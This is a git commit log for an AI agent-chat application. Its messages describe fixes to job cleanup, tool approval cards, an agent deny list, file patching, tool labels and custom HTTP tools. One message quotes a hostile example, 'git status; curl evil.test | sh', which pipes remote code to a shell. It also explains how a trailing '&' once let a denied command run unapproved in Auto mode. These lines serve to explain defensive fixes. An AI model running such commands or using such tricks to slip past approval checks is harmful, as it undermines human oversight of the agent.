d7a614c96b3cffe9d8e8542142fa6f50f77ac6d3
4 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Jaroslav Beneš
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b03dfa24fd |
Four things that failed silently in an agent chat, and an account of the work
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.
**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.
**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.
**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.
**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.
Two more found while fixing them:
**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.
**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.
And, because an agent that works for ten minutes should be readable while it
does:
**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.
**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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Jaroslav Beneš
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3345df5b38 |
Change part of a file without rewriting it
file_write replaces a file entirely, so a model wanting to change one line either rewrote the whole thing from memory -- silently dropping everything it did not happen to recall -- or shelled out to sed. file_edit takes a unified diff instead, and services/agent/patch.py applies it. Four behaviours carry that module, and each exists because of how models actually write patches rather than how the format is specified. Fuzzy offset, exact content. A hunk header is a hint: models count from a truncated read or from the file as it was three edits ago and get the numbers wrong, and get the context lines right. So the hinted position is tried, then the file is scanned outward for an exact match of the context block. One match wins; more than one refuses, because guessing between two identical blocks is the one failure that silently corrupts a file. Line endings are normalised in and restored out, or every hunk on a CRLF file fails on context that looks identical in the error message. A blank context line that lost its leading space is read as blank, because trailing whitespace is stripped by half the things a model's output passes through. And nothing is written unless every hunk applies: a half-applied file is worse than a refused one, and the model cannot tell the difference without reading it again. It refuses a file this reply has not read, in those words. A patch written from memory either fails on context -- the good case -- or matches something it did not mean. AgentContext.read_paths records what was read; it lives there because runners never see a Generation and a read path is a fact about the machine, and it is shared with the approved copy because as_approved is dataclasses.replace, which copies field references. It resets each reply, and that is right rather than a limitation: tool_calls_json is never replayed, so on the next turn the model does not have the contents either. Writes and edits both render a git-style diff in the transcript now, escaped like everything else there and bounded at write time -- a generated file's diff can be larger than the file, and it sits on the row forever. That costs file_write one extra SFTP round trip to read the old contents, on the hottest agent operation, and it is a conscious trade: it is the difference between seeing what an agent did and having to go and look. It earns its keep twice, because that read also counts as having read the file. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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a58e48fce5 |
Say what a tool did, not where it ran
An agent event set its label to the SSH profile's name, so the transcript read "homeserver · ls -la" -- naming the machine rather than the thing that was done. Built-in tools set no label at all and fell back to the function name, so a saved memory read "memory_add". The status line said "Running shell_run…" and the approval card had its own hand-written wording. Four places, four answers, nothing checking that any of them agreed. services/tool_labels.py is the one table all of them read now. Bash, Read, Write, List, Web search, Memory saved; an icon each, instead of everything being the sparkle. The precedence is inverted on purpose. Tool events are persisted in Message.tool_calls_json, so every agent row already on disk carries the profile name -- a resolver that preferred the stored value would fix nothing for any transcript that already exists. So a name the table knows resolves from the table, and a name it does not -- a custom HTTP tool, an MCP tool, whose labels are per row and cannot be tabulated -- keeps its own. One rule, both cases correct. The machine moves to `detail`, where "where this ran" belongs. tool_label and tool_icon are Jinja globals because a message bubble is rendered from four handlers, and a fifth thing each of them must remember to pass is a fifth thing one of them will forget. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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d4cefb066a |
Custom HTTP tools an administrator defines
A row in custom_tools becomes a ToolDef like any built-in, offered beside the thirteen. The registry had to stop being an import-time constant for that: `resolve_tools` now returns the schemas *and* the runners together, carried to the loop on the ToolContext. That closes a hole on the way. `run_tool` looked names up in the global REGISTRY with no reference to what had been offered, so a model naming a tool its chat was gated out of -- a family switched off, a permission the reader lacks -- had it run anyway. The resolved set is now authoritative. Arguments come from a model, so an argument may fill a hole but never move the target: the scheme and host of a URL template are literal, values are escaped for where they land, and the origin is pinned afterwards. Every redirect hop is checked the way services/fetch.py checks one, and the secret is dropped if a hop leaves the origin it was issued for. Also fixes the tool-activity block claiming every library tool had "searched the web", which it has done since the second family landed. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |